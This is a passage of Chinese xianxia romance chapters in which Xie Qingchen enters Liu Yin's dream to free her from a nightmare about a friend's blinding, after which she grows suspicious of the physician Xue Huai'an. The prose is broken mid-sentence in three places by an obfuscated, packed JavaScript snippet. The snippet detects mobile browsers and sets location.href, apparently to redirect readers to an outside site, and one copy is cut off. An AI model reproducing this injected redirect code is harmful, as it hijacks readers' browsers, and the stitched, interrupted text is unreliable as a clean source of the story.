整个人摔得灰头土脸,等她再回神,却惊讶地看到鬼差斩恶来了,他正将黎娘护在身后,与那些鬼差缠斗。 “斩恶?你疯了吗?”铁面气得嘶声大骂,“还不快将那厉鬼拿下!” “身为鬼差,你不抓她反而护着她?你想造反吗?” “把他给我一起拿下!去阎罗殿看他怎么说!” …… 柳音又惊又急,不知道斩恶身为鬼差,为什么要帮她们? 她看到黎娘的断臂汩汩地冒着黑血,显然伤势很重,正想冲过去把她带走,黎娘却朝她龇牙大喊:“快滚!” 狰裂的眼眶黑洞洞的,整张脸都挂着血,黎娘力竭倒在地上,朝她伸出褪掉爪子的手,用口型无声地说:“替我找到他。” 柳音眼眶热得发烫,却流不出眼泪,她紧紧咬着牙根,最后看黎娘一眼,转身飞快向鬼门关跑去。 …… 谢清尘抱着小猫,在鬼门关外站了两个时辰。 似乎是畏惧此地阴森的煞气,原本顽皮好动的小猫老老实实蜷缩在他怀里,把头埋在他的衣服底下,一人一猫,一动不动。 从夜色深浓站到东方泛白,再等下去,晨曦将至,白日一到,鬼门关就出不来了。 谢清尘将小猫放进乾坤袋,正要拔剑出鞘,忽然从重重黑雾中显露出一道绿色身影,奔跑着朝这边冲过来,一头扎进他怀里。 周身几乎凉透的血液,在那一刻轰地一热,重新缓缓流淌起来,谢清尘垂下眸子,看着怀里的人。 头发乱糟糟的,粘着草梢,身上衣裙也脏兮兮的,还有扯破的地方,眼角挂着一行泪,已经闭上眼睛,晕了过去。 谢清尘慢慢抬起手,抱住她,感受到她细微的呼吸和虚弱的心跳,确认她真的回来了,那颗提吊的心才终于落回原处。 * 柳音做了一个很长很长的梦。 梦中是一片浓稠的白雾,迷离又缥缈,充斥在天地间。 她的前方有一道模糊的身影,不紧不慢地向前走着,可无论她如何追赶,却始终落后一步。 她努力睁大眼睛,仔细观察,只能看清那人的背影,左手提着一只药箱,左耳垂后面有一颗芝麻大的红痣。 她心头一喜,急声问:“薛怀安,是你吗?” “你站住!” “别走,等等我!” “薛怀安,你听见没有?” “黎娘她在等你!你要去哪里?” …… 柳音久久地呼唤着,可是不管她喊得多大声,追得有多快,却只能看到那一道背影,始终无法触及分毫。 想起黎娘拼死拦住那些鬼差,想起她流着黑血的眼睛,用口型说的那句话……柳音紧紧咬住牙根,拼尽全力向前跑去。 渐渐的,她离那个背影越来越近,眼看就能追上,可她伸手去抓他的肩,他却凭空消失了。 “薛怀安?你在哪?” “薛怀安!你出来!” “你别走呀,你快出来!” “你给我回来!” …… 柳音大声喊着,四处寻找却不见踪迹,不由急得哭起来,正不知该如何是好的时候,一只温暖的手拉住她,含着柔软的笑意道:“这是怎么了,哭成这样?阿尘又不理你了?” 柳音回过头,看到曾夫人年轻美丽的脸庞,不由泪湿了双眸,喃喃地叫了一声:“师父……” 曾夫人抬起手,轻轻给她擦干脸上的泪痕,温柔道:“阿尘明天就要破境了,修炼耽误不得,你别去闹他。师父做了你爱吃的杏仁酥,拿去和阿瑶吃吧,吃完继续练剑。待会儿看看谁练得不好,师父就去敲她的脑袋。” 柳音捧着一盒杏仁酥,走到观剑台,只见一身鹅黄裙衫的小姑娘正在拼命练剑,是沐玥瑶。 她是火灵根,每一招剑势都带着微微燃烧的火焰,在空中旋转飞跃,仿佛在火中舞蹈的精灵。 “阿瑶师姐,休息一会儿吧!”柳音笑眯眯地招呼她,“师父做了杏仁酥,可香了,快来吃!” “只有杏仁酥吗?有没有不甜的梅菜饼?”沐玥瑶走过来,看清盒子里只有杏仁酥,目光淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991910|193751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡扫了柳音一眼,一言不发地走回去,继续练剑。 “你不饿吗?”柳音边吃边问,“下次再让师父做梅菜饼,你先垫垫肚子,晚饭还早呢!” 沐玥瑶挽着剑花,又去练剑,仿佛没听到她说话一样,丝毫不与理会。 见她不吃,柳音也没办法,只好坐在旁边看她练剑。 沐玥瑶的剑法练得一般,有好几个地方出错了,柳音出声提醒,沐玥瑶却转过身去背对着她,冷冰冰甩下一句:“少管闲事!” 柳音不再自讨没趣,坐在那里吃杏仁酥。过了一会儿,曾夫人来了,让柳音和沐玥瑶一起演练剑法给她看。 柳音是木灵根,随手抽出一根树枝就能做剑,挽出的剑花仿佛当真有花朵盛开一样,将一套剑法使得行云流水,漂亮至极。 待她落下最后收势,沐玥瑶却因为中间出错,乱了阵脚,红着脸又重新开始。 “阿音真聪明,一点就透。”曾夫人明眸皓齿,美丽端庄,她笑着抚摸柳音的头发,给她擦干净粘在嘴角的酥屑,将点心盒子递给她,“去玩吧,别跑远了,下雪路滑,小心点!” 柳音抱着点心盒子,一步步走下观剑台,听到身后传来严厉尖刻的训斥声。 “一套流云剑法练三个月,就是头猪都学会了,你究竟在干什么?” “飞云追月后面接的是踏雪寻梅吗,你到现在连剑招都背不过?饭都吃到狗肚子里去了?” “柳音比你还小,入门比你还晚,现在修为马上就要超过你了,你难道不知道什么叫羞耻?” …… 落满积雪的石阶,踩起来咯吱咯吱响,柳音慢慢向下走着,望着远处着墨覆雪的几处山峰,本想去找谢清尘,想起师父说他马上要破境了,不能去打扰他。 细面子似的小雪纷纷扬扬又下起来,天地茫茫,一片寂静。 柳音站在那里,一时之间,不知道自己能往何处去。 直到身后响起脚步声,她回过头。 一道清瘦的白色身影从风雪中走来,笑容明澈,眼神温暖,静静凝视着她,仿佛是天生为她而来…… 柳音连续睡了两天两夜,始终没有醒来。 谢清尘还有很多事要处理,只能将她留在房中,落下结界,趁有空的时候,回去看一眼。 直到第四日,柳音依旧没有醒转的迹象,怕是被梦魇给魇住了。 谢清尘思虑再三,决定进入她的梦境,将她带出来。 他不敢再耽搁,连夜布好法阵,又将师弟孟湛叫过来,让其为他护法。 “师兄,三思!”孟湛一听就觉得不妥,连忙劝阻道,“强行进入他人梦境,太危险了。梦境里什么都有可能发生,若你无法脱身,只怕性命危矣!不如去药神谷请医师来,给柳师妹施针?” “我信不过他们。” 谢清尘丝毫不予考虑,关闭好所有门窗,然后点燃一盏长明灯,置于阵法中央。 孟湛担心道:“那柳师妹怎么办?她现在失忆,若是她的梦境被破坏,恐怕会导致识海受损。” 一旦识海受损,记忆也会受到破坏,再想恢复记忆就难了。 谢清尘淡淡看他一眼,带着些警告的意味:“别多嘴。” 孟湛神色微怔,继而明白过来,默默叹息一声,盘膝打坐,为他护法。 阵法中央的烛火昏黄,在无风的室内幽微地摇曳着,将一切人形物状拉扯出斑驳离奇的影子,阴森又诡异。 隔着长明灯,谢清尘在孟湛对面坐下,结起手印,闭上眼睛,然后放出神识,缓缓进入柳音的梦境之中。 14. 014 能把人魇住的梦境,必然十分凶险,很可能是此人最大的心魔。 谢清尘在进入柳音的梦境前,做过心理准备。 他想过她的心魔是什么,很可能是他杀她的那一天,他的剑冰冷无情地刺进她的心口,彻底斩断她的生机,也斩断了她对他的最后一丝情意……也或许是过往他对她冷漠忽视的千百个瞬间,一次又一次打击她的热情、践踏她的真心…… 谢清尘久久地闭着眼睛,已经准备好去撕开往日鲜血淋漓的伤口,去面对那些难以承受的悔恨与痛楚,却没想到,一睁开眼,他看到的是柳音灿若春风的笑脸。 “你怎么来了?”她穿着一袭湖绿长裙,俏生生地站在落满积雪的石阶上,正笑眯眯地看着他,漆黑明亮的大眼睛水盈盈的,身姿窈窕,娇艳美丽。 “还有杏仁酥,给你吃!”她的笑眼像弯弯的月牙,抬手将她怀里抱着的点心盒子递给他。 谢清尘不由眼眶一热,正要走上前去,然而一道清瘦的白色身影却先他一步走过去,将那点心盒子推回她怀里,微笑道:“是你爱吃的,我不跟你抢。” 那样温暖柔和的语气,显然与她极为熟稔。 看着那一袭白衣,还有那弱不禁风的小白脸样子,幽深的瞳孔骤然缩紧,谢清尘认出那道身影是谁,满腔愤懑戾气横生。 “殷无归,你该死!”他的牙关紧咬,脸色铁青,几乎瞬间冲上前去,抓住殷无归的衣襟就要将他从柳音身边甩开。可是……他手中抓了一空。 “让你吃就吃嘛,你瞧你,怎么又瘦了!”柳音打开点心盒子,素白纤细的手指捏起一块杏仁酥,直接喂到殷无归嘴边。 殷无归无奈地笑了一声,就着她的手,把那块杏仁酥吃了。 柳音将点心盒子塞给他,让他全部吃掉,一边问:“你来找我做什么?” “你不是想要一块蓝瑛石?”殷无归笑道,“我从山下带回来几块,不知道怎么样,你自己去挑吧。” “好耶!”柳音开心得眼睛都亮了,围着他又蹦又跳,“小殷,你可真好!” “别跳了,小心滑倒。”殷无归扯住她的袖子,拉着她向山下走去。 两人相互搀扶着,一绿裙一白衣,踩着深一脚浅一脚的积雪,慢慢走远了。 被无视的谢清尘,依旧停留在原处,身周渐渐被白色雾气笼罩……他后知后觉,这才想起是在柳音的梦境里,他们看不到他的存在。 四周雾气越来越浓,渐渐伸手不见五指。 在梦境里,只有梦的主人所在的地方是清晰的,其余地方全都是迷雾。 谢清尘什么都看不到了,只能循着大概方向,快步追上去。 等他找到柳音的时候,她已经跟着殷无归去了碧游峰,后峰无人的僻静处,雪林莽莽,千竿万翠。 遍地丛生的雪竹林深处,渐渐显露出一座小竹屋。 “你住在这里,不冷吗?”柳音双手环抱在身前,肩膀耸着,有些怕冷。 “进屋就不冷了。”殷无归走在前面,帮她挡开覆盖着簌簌积雪的竹枝,笑意温和道,“比在前峰住得清净。” 柳音担心道:“你师兄他们又欺负你了?” “没事,别管他们。”殷无归是陵德长老门下的丹修弟子,由于资质不佳,每月考核长年垫底,估计受了不少奚落,没想到他不住前峰弟子房,竟然自己独居在这里。他走到小竹屋门口,跺掉脚上沾的雪,推开竹门,回头笑道,“进来吧。” 柳音也跺跺脚,跟着走进去,只见不大的一间小屋,靠墙摆着一张竹床,上面叠放着朴素整洁的被褥,另一边摆着竹桌竹椅,还有个堆放杂物的架子。地面中间掏出火塘,用铜笼罩着炭火炉子,屋子里果然温暖许多。 “这些都是蓝瑛石,你自己看吧。”殷无归从架子上取下一个布包,摊开在桌面上,露出一堆各种形状、光彩夺目的蓝瑛石。他又取下一只竹筒杯,走到炭火炉子旁,提起热腾腾的水壶,冲了一杯竹叶茶,端到柳音手边。 柳音接过热乎乎的竹筒杯暖手,向他道谢:“这些蓝瑛石花了不少钱吧?真不好意思,让你破费了。” 殷无归在对面坐下,微笑道:“我家是江南富户,钱多的是,可在仙门眼里不过是些无用的阿堵俗物。也就只有你不嫌弃我资质差,愿意同我来往。” “你资质再差,好歹是人,我还是个妖怪呢。”柳音摊手,“若不是你给我掩藏妖气的丹药,我也进不来这里。” 殷无归比了个嘘声的手势:“这里容不下妖怪,你可千万藏好,别被人发现了。” 柳音连忙咬紧嘴唇,小鸡啄米似的点点头。 谢清尘眯起眸子,俊冷的面庞脸色不是一般的难看。 难怪从前柳音身上没有妖气,原来是殷无归给了她掩藏妖气的丹药? 他从哪里得到的这种丹药?难道是他自己炼制的?可他这么低的资质,怎么可能炼出那么高阶的丹药? 而且他身为蓬莱弟子,为什么要帮是妖怪的柳音掩藏身份? 他究竟有什么目的? 缓缓走到竹桌旁,谢清尘冷冰冰地审视着殷无归,盯着他的一举一动,每一个神色表情。 那小白脸笑得又假又虚伪,一看就不是什么好东西,早就应该杀了他才对! “茶凉了,快喝吧。”殷无归提醒柳音,“竹叶气味清新,可涤荡妖气,你别忘了下个月再来找我,这竹叶茶得坚持喝。” 谢清尘看到那竹筒杯里的茶汤颜色很可疑,连忙就想阻拦,可柳音却毫不犹豫地捧起杯子,咕咚咕咚几大口就喝完了,抹抹嘴朝殷无归笑:“你这竹叶茶好喝,里面加了蜂蜜?” “知道你爱吃甜的。”殷无归用下巴指指桌面,“你要蓝瑛石干什么?这种石头没有灵力。” “虽然没有灵力,但是它很好看啊!”柳音挑出一颗拇指大小的蓝色晶石,捏在素白的两指间,半眯起一只眼睛,透过晶石打量四周,“谢清尘的剑穗丢了,我要给他做一个新的,用绿丝绦搭配这种蓝瑛石,编成宝塔扣,下面再缀一截流苏,你说好不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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薄削的唇角紧抿着,谢清尘不想让她在梦中再经历一遍这种痛苦,这次他一定要好好收下她的礼物,将那个锦囊藏到胸口,珍藏起来,让她满意。 “谢师兄……要突破真境了?”殷无归一脸意外,满眼羡慕地问,“他什么时候出关?” 柳音托着腮,笑眯眯道:“应该是明天晚上。” “明天晚上啊……”殷无归微微皱眉,露出一脸犹豫。 柳音见他欲言又止的样子,问:“怎么了,你有事?” “明天晚上是人间的上元节,山下镇子有灯会,会放很多很好看的烟花,我本来想和你一起去看。”殷无归满眼期冀地看着她,有些不自信地问,“你……明天晚上,能不能和我一起去看烟花?” 谢清尘冷眼看着殷无归,怎么看都觉得他是个居心不良的卑鄙小人。明知道柳音想去他破境的庆宴,还要另外约她去看烟花,这不是从中作梗是什么? 可笑柳音根本不会答应他,毕竟当初她就是去了他的庆宴。 “好。”柳音用力点点头,笑眯眯地看着殷无归,明亮清澈的眼睛里隐约有泪光闪动,“谢清尘的庆宴,肯定会有很多人,闹泱泱的没意思,不去也罢。我可以等过几天再送他礼物,先和你一起去看烟花。” 谢清尘:“……” 15. 015 梦境里的时间是无序的,几乎一眨眼的功夫,已经到了第二天傍晚。 纷纷扬扬的细雪依旧下着,西边天际却浮现出烟紫流岚的霞光和金芒,恢弘璀璨,气象万千。 那是谢清尘突破真境的壮丽天光,他已经出关了。 柳音和殷无归站在下山的小道上,双双仰头望向远处,脸上神情不可谓不羡慕。 “谢师兄太厉害了,这么年轻就突破真境,年轻这一代翘楚,非他莫属。”殷无归久久地望着天光,露出一脸的钦佩。 “他是很厉害,修炼也很拼,我还从未见过像他那般刻苦的人,比我们普通人努力多了。”柳音沉吟道,“听我师父说,其他仙门今晚也会来不少人,还要让他讲破境心得,对修行大有助益……小殷,你要不要去参加庆宴,也去听一听?” 殷无归摇摇头,自嘲地笑:“我就算了吧,一个低阶火灵根,恐怕连听都听不懂,还是不去自讨没趣了。” 他看着柳音,抿唇道:“我知道你想去庆宴,听谢师兄的心得,对你的修行也有好处。要不你还是去那边吧,我可以自己下山。” “不,我要和你一起!”柳音连忙拉住他的衣袖,“说好一起去看烟花,你可不能丢下我!” 殷无归盯着她的眼睛,见她说的似乎是真心话,点点头,开心地笑了。 谢清尘冷着脸跟在后面,怎么都看不惯那弱不禁风的小白脸惺惺作态的样子,明明想让柳音跟他下山,偏偏还要心口不一地谦让一番,真是虚伪至极! 也不知道柳音是怎么回事,怎么忽然改变主意,要跟他下山去看烟花? 她一个小姑娘,怎么能天天毫不设防地跟那小白脸在一起?她看不出他的装模作样、满腹心机吗?她为什么不去他破境的庆宴了? 谢清尘无法得知柳音的想法,只能跟在她身后,眼睁睁看着她和殷无归避开主路,沿着密林小道一路溜下山。 因为整个宗门上下都在忙着准备给他的庆宴,山门这边盘查不严,柳音他们很容易便钻了空子,掀开结界偷偷跑了出去。 一路走出十多里,天色已经黑透了,远处隐约能看到成片成片的灯火,时不时便有五彩的烟花拖着长尾巴飞升到夜空,炸裂出一片璀璨的星云,那里是凡人居住的城镇。 “从这里看烟花就很清楚,要不我们就在这里看吧,好不好?”柳音停在山坡上,神色有些犹豫。 殷无归走在前面,回头看她:“这里黑漆漆的,你不怕?镇上灯会很热闹,还有很多好吃的,快些走吧,我给你买酒酿圆子。” 见他一脸兴致勃勃的样子,柳音不想扫兴,便又快步跟上去,叮嘱道:“那你不要乱跑,灯会上肯定人很多,你一定要跟紧我。那些花灯太多了,还有很多烟花爆竹,万一起火可就麻烦了!” “知道了,小柳师妹。”殷无归笑着拉住她的袖子,“小殷师兄一定会寸步不离地跟着你。” 柳音却还是不放心,反握住他的手,紧紧攥住,一副如临大敌的样子,仿佛两人不是要去看烟花,而是要去闯龙潭虎穴。 谢清尘满眼不悦地盯着柳音拉着殷无归的那只手,峻冷的眉峰蹙成个大疙瘩。 这小白脸那么大个人了,还能丢了不成?为什么非要和他拉手? 忍不住戾气横生,谢清尘的怒意影响到他的神识,几乎撼动得这方梦境隐隐摇晃起来,而柳音也有所察觉,立时警惕起来,一个跨步上前,抬起手臂将殷无归挡到她身后。 那样保护的姿态,一下刺痛了谢清尘的眼睛,他脑海里电光一闪,忽然想起许久以前,似乎就是这个时候——殷无归私自下山,结果在凡间城镇遇上烟花爆炸,他躲避不及,被炸伤眼睛,从此变成一个瞎子。 因为身体弱、资质差,殷无归在蓬莱仙宗一直默默无闻,几乎没有人记得他。而他瞎了以后,严重影响修炼,教习师父也不再管他,将他赶到后山做杂活,越发被人欺负凌辱。 只有柳音惦记着他,一天到晚往他那跑,帮他干活,为他配药,教他修炼,替他打抱不平,教训那些欺负他的人,为他去向那些长老讨公道。 回想那时候,谢清尘很不理解,不明白柳音为何对一个瞎眼弟子如此上心。 不明白她为何像变了个人,忽然就不再缠着他,满心满眼都是另一个人。 甚至后来……为了这个小白脸,和他针锋相对,走上鲜血淋漓的穷途末路。 狭长的眼尾隐隐泛红,一片沉郁,谢清尘闭上眼睛,眼底酸涩难耐。 他大概明白了,柳音为什么会困在这个梦境里。 她在后悔。 后悔当初,那天夜里,她去了他的庆宴,没有陪殷无归下山去看烟花。 如果她去了,也许殷无归就不会被烟花炸伤,不会瞎了眼睛。 她觉得愧对他。 原来她的心魔,并不是他给她的那些伤害,而是没能救下殷无归。 她的心魔与他无关。 他在她心里,什么都不是。 峻冷的面庞如三九寒冰,再没有一丝表情,谢清尘慢慢睁开眼睛,眼神冷漠地看着柳音和殷无归手拉着手走进热闹的街市。 看着漫天烟花腾空飞舞,猩红的火舌点燃花灯,花灯烧了一条街,满大街惊惶逃窜,然后是轰隆一声巨响,存放烟花爆竹的库房爆炸了。碎瓦乱石凌空飞溅,哪怕柳音拼命挡在前方,殷无归却还是被飞溅的火石迎面击中,满脸鲜血。 柳音抱着他惊声尖叫,嚎啕大哭。 “不对不对!不是这样!” 她的绿裙被鲜血染红,颤抖的双手用力将殷无归背起,一步一泪,咬着牙向前走:“小殷,我们重来!” 于是一切回到起点,柳音站在覆满积雪的台阶上,笑着问:“你怎么来了?要不要吃杏仁酥?” 然后她陪殷无归下山,一次又一次看着他被烟花炸伤眼睛,两手沾满殷红的鲜血,哭得撕心裂肺,心如死灰。 那是无法抗拒的宿命。 小白脸活该瞎眼,就是该死。 谢清尘冷眼旁观,看着殷无归在血泊中痛苦挣扎的样子,总算有几分痛快。 只是柳音哭肿了眼睛,到底令他心疼,他最终叹息一声,终归不能无动于衷。 在这个梦境里,只要离开柳音,四周便是一片迷雾。 谢清尘在重重迷雾中前行,终于找到梦境中的“自己”,那个“他”正在庆宴上,向那些宾客们讲述他的破境心得。 谢清尘的神识进入“自己”的身体,毫不费力地获得掌控权,然后他便丢下满堂宾客,一个瞬移消失无踪。 下一瞬,他来到蓬莱仙宗山脚下,柳音和殷无归刚刚从小路偷跑出来。 猝不及防见到他,柳音又惊又喜:“谢清……谢师兄,你怎么在这里?今晚不是你的庆宴吗?” 谢清尘垂眸看她,淡淡道:“人太多了,闹泱泱的没意思,我出来走走。” 他盯着她的眼睛:“你怎么没去?” 柳音眨了眨眼,似乎没想到他会这么问,磕绊道:“我……我和小殷师兄约好了,要去看烟花。” 她眼巴巴地看着他,又有些担忧:“谢师兄……你该不会去跟戒律长老告状,说我们偷跑出来吧?” 谢清尘依旧盯着她不放,半晌,道:“那要看看,你有没有给我准备道贺的礼物。” 脸上神情迟滞了下,柳音像不认识他了似的打量着他,然后抿了抿唇:“有是有,就是我还没做,等晚几天再给你吧。” 谢清尘:“……” 被晾在一旁大半天的殷无归走上前来,同谢清尘行礼:“谢师兄,恭喜你突破真境,师兄天纵奇才,实为我辈楷模。” 谢清尘不愿理会他,看着他那弱不禁风的小白脸样子就烦,从鼻子里敷衍了一声,然后便转身对柳音道:“走吧,不是要去山下看烟花,我和你一起。” 柳音见他当真要去看烟花,有他一起,肯定不会被戒律长老罚,不由开心起来,拎着裙摆又跑又跳,活像一头撒欢的小鹿。 谢清尘走在后面,不动声色地为她拂开四周旁逸斜出的树枝和脚下滚动的碎石。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991912|193751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 很快到了山下城镇,烟花漫天,游人如海,凡间的灯会着实热闹。 谢清尘放出巨大的结界,将整座城镇笼罩其中,再没有任何一丝夜风能够作乱,所有花灯各司其职,每一蹙火苗都在他眼皮底下安安稳稳规规矩矩地燃烧着,就算结界外面天塌了,里面的烟花库都不可能爆炸。 柳音却十分不安的样子,时不时去看殷无归,怕他被来往的人流撞到,怕他离喷火龙表演太近,一刻不忘地拉着他的袖子,生怕和他走散。 “我来看着他。”谢清尘冷着脸,隔着衣料攥住殷无归的手腕,将柳音的手从他袖子上拨开,淡淡道,“你不是想吃酒酿圆子,去要一份,我给你买。” 柳音诧异地看着他:“柳师兄,你今天怎么怪怪的?和平时很不一样。” 谢清尘抿着薄唇:“我平时怎么样,不好吗?” 柳音弯起眼睛,笑眯眯道:“平时你太严肃了,从不会对我笑,也不会给我买好吃的……我不是在做梦吧?” 喉咙堵得发哑,谢清尘沉默了一会儿,嘴角挤出一丝笑意:“以后给你买,你想吃什么,我都给你买。” 柳音满眼的喜出望外,快步走到卖酒酿的小摊旁,又回头看他:“我可以买两碗吗?给小殷一碗,他也喜欢吃圆子……啊,要不三碗?谢师兄,你要不要吃?” 谢清尘缓缓摇头,走过去付钱,要了两碗圆子。 感觉到身后轻微的挣扎,谢清尘回头扫了一眼。 殷无归满脸尴尬,讪讪道:“多谢谢师兄,你把我放开吧,我自己能走。” 谢清尘随手一丢,将他甩到路边的石墩上,让他和柳音坐在路边吃东西,吃完再走。 “小殷,给你桂花的,我的是芝麻的。”柳音捧着两只竹筒碗,分给他一碗,然后坐到他旁边,一边吹着热气,一边美滋滋地品尝。 半碗芝麻馅的圆子下肚,她又开始惦记小殷那碗,边吃边问:“桂花的好吃吗,甜不甜?” 殷无归将自己那碗移到她面前,温和道:“我喜欢放凉了再吃,还没动过,你尝尝。” 柳音道谢一声,用他的勺子挖了两个桂花馅的圆子到自己碗中。 眼看她又要将自己芝麻馅的圆子分给他,殷无归又道:“你吃吧,我不饿,这些就够了。” 柳音便从善如流地点点头,开始品尝桂花馅圆子。 谢清尘抱臂站在一旁,冷眼看着殷无归那一系列举动,别过头去从鼻子里冷嗤一声,真会装模作样。 等吃完圆子,烟花正是最激烈的时候,一簇簇火龙飞升上天,炸裂出一朵朵五彩斑斓的花朵,将整个夜幕都染成彩绘的画卷,火树银花,美不胜收。 柳音兴奋地拉着殷无归,抬手指着高高的夜空,让他快看这个,又看那个,两人仰着灿烂的笑脸,眼睛里闪动着飞扬的神采。 谢清尘默默看着柳音。 这样……她就不会有遗憾了吧? 灯会散场,夜色阑珊的时候,三人离开城镇,回到蓬莱仙宗。 上山的石道又高又陡,长得仿佛没有尽头,但是不知不觉,分别的路口还是到了。 殷无归住在碧游峰,而柳音和谢清尘分别住在烟霞顶和望海阁,分岔口还要再向上一些。 “小殷,天黑路滑,你走路小心。”柳音向他道别,眼含着泪光,叮嘱道,“你要好好的。” 殷无归点点头,向她露出一个温暖的笑脸:“别担心,我会的,你也是。” 看着那一袭白衣的清瘦背影缓缓消失在迷蒙的山雾之中,柳音还在那里出神,谢清尘提醒道:“走吧,我们回去。” 柳音站在他下面几级台阶上,仰头望着他,默默看了一会儿,开口道:“谢师兄,我知道这是一个梦,我该走了。” 薄削的唇角抿着,谢清尘知道她要醒了,心里却忽然有种说不出的遗憾和酸楚。 “我知道醒了以后,明天的你又会变成那样冷冰冰,总是对我爱搭不理的样子。”柳音静静看着他,露出灿烂的微笑,“但是谢师兄,今天谢谢你。” 16. 016 柳音睁开眼睛,看到一片藕荷色莲纹帐顶,脑海里钝钝得疼,一时想不清楚自己是谁,又是身在何处。 “你醒了?”一道低淡清冷的男声传来,眼前露出一张英姿俊美的脸庞,漆黑狭长的凤眸关切地看着她,幽幽地问,“有没有哪里不舒服?” 柳音盯着他的脸,认出他是谢清尘。 她想起来了,她回了一趟阴曹地府,和黎娘被鬼差追杀,然后斩恶也来帮她们,她趁机逃出鬼门关,一下累得晕了过去。 不知道黎娘怎么样了,有没有逃过那些鬼差的捕杀? 后来好像还发生了很多事,可她记不起来了。 抬手按着发涨的太阳穴,柳音努力在脑海里搜寻,可是那些隐隐约约的画面好像碎成粉末一样,怎么都拼凑不起来。 “头疼?”谢清尘握住她的手,让她闭上眼睛,然后又给她施了一个清心咒。 乱糟糟的脑海里渐渐平静下来,柳音睁开眼睛,看着近在咫尺的谢清尘,想起在阴曹地府的时候,新去的断头鬼周大贵说的那些话。 作为蓬莱仙宗的少宗主,沐玥瑶必须先突破真境,才有资格坐上宗主之位,而她的修为已经卡住许多年,一直无法突破。 谢清尘与沐玥瑶是青梅竹马,曾夫人有意让他们结契成亲。因为谢清尘已经达到化境,又是纯阳之身,和他双修,对沐玥瑶大有助益,甚至可能一举突破真境…… 柳音暗暗琢磨着,不知道周大贵说的这些究竟是真是假。 但是蓬莱仙宗的老宗主已经过世好几十年,沐玥瑶作为唯一传人,至今仍只是少宗主,必然是因为修为达不到真境,无法通过认可。 这样的话,曾夫人为女儿着急,想让她和谢清尘结契双修……的确有这种可能。 只是不知道,谢清尘是否清楚此事? 柳音挑眉打量着他,正想直接开口问,外面却忽然响起砰砰砰的敲门声。 霍灵潇焦急的声音传来:“柳音!柳音醒了吗?出什么事了?” 谢清尘走到外面去开门,淡淡道:“她已经醒了。” 霍灵潇探头向房间里面张望,只是隔着屏风,什么都没看到:“柳音,我进来了?还有我十一师兄,我把他也带来了,让他给你把把脉,看看是个什么症候?” 柳音感觉浑身乏力,想起身也起不了,只能应了一声好。 霍灵潇便拉着薛怀安一起进屋,让他给柳音看诊。 “你这是昏迷了几天?怎么瘦成这样了?”霍灵潇坐在床榻边,小声嘀咕,“谢清尘是怎么照料你的,一点都不靠谱……” 薛怀安放下药箱,上前观柳音面色,道一声“得罪了”,抬手翻开她的两只眼皮,又看了她的舌象,然后让她伸出手,给她把脉。 “柳姑娘没什么事,只是气血不足,略微有些虚弱。”薛怀安诊完脉,抬头看向谢清尘,“如果我没看错的话,柳姑娘这几日昏迷,应该是被梦境魇住了?” 谢清尘目光沉沉,语气平淡地说了声是。 “梦境魇住了?”霍灵潇惊讶道,“要不要紧?她不会有内伤吧?” “应该不会。”薛怀安又问柳音,“柳姑娘可觉得哪里不适?” “有点头疼。”柳音皱着眉毛,恹恹道,“身上没力气。” “你昏迷几日没有进食,自然没力气,养养就好了。”薛怀安笑道,“我再给你开个补气血的药方,补一补身体。” 柳音向他道谢,看到薛怀安转身去写药方,目光落到他的左耳垂上,依稀看到一个红点。 心头突地一跳,柳音睁大眼睛,仔细去看薛怀安的左耳垂,当真看到一颗芝麻大小的红痣。 想起黎娘说的话,怎么会这么巧? 柳音又看薛怀安写字,可他用的是右手,并非左撇子。 一时惊讶难掩,柳音有很多问题想问这薛怀安,却又怕他是个坏的,万一打草惊蛇,岂不坏事? 于是她努力闭紧嘴巴,假装出一副若无其事的样子,等着薛怀安写完药方,然后起身告辞。 霍灵潇又问柳音想吃什么,她去找小厨房专门给她做,絮絮叨叨地叮嘱着,还要送给她几件新棉衣保暖。 “无尘剑尊,能否借一步说话?”薛怀安提着药箱,先一步走出门,本来都要走了,站在那儿却又犹豫。 不知道他要说什么,谢清尘走到门外,淡淡道:“何事?” 薛怀安施了一礼,低声道:“如果怀安没看错的话,柳姑娘被梦境魇住,应该是您入梦去把她带出来的。” 谢清尘眯起眼睛,目光冷冷地审视着他:“你想说什么?” 无形中感觉到这位化境强者的威压,薛怀安不由脸色发白,额头隐隐冒出冷汗,但他还是努力挺直肩背,迎着那迫人的目光道:“剑尊强行进入柳姑娘的梦境,已经伤到她的识海,以后恐怕很难恢复记忆。” 他攥紧药箱,又提醒道:“像柳姑娘这样有心魔的人,很容易被梦境魇住。如果再有下次,剑尊不妨去找医师帮忙下针引导,切莫再强行入梦了。” 峻冷的面庞淡漠无波,看不出任何喜怒,谢清尘语气冷淡道:“你可以走了。” 薛怀安张了张口,还想再说点什么,可是触到那冷冰冰的目光,他又不敢说了。 送走薛怀安和霍灵潇,谢清尘回到房中,看到柳音皱着眉,在那里发呆。 “怎么了?”他走过去询问,“还是头疼?” 柳音转头看向他,语气沉重道:“那个薛怀安,有问题。” 他和黎娘的夫君,不仅名字一样,而且都懂医术,甚至耳后还有同样的红痣,怎么可能如此巧合? 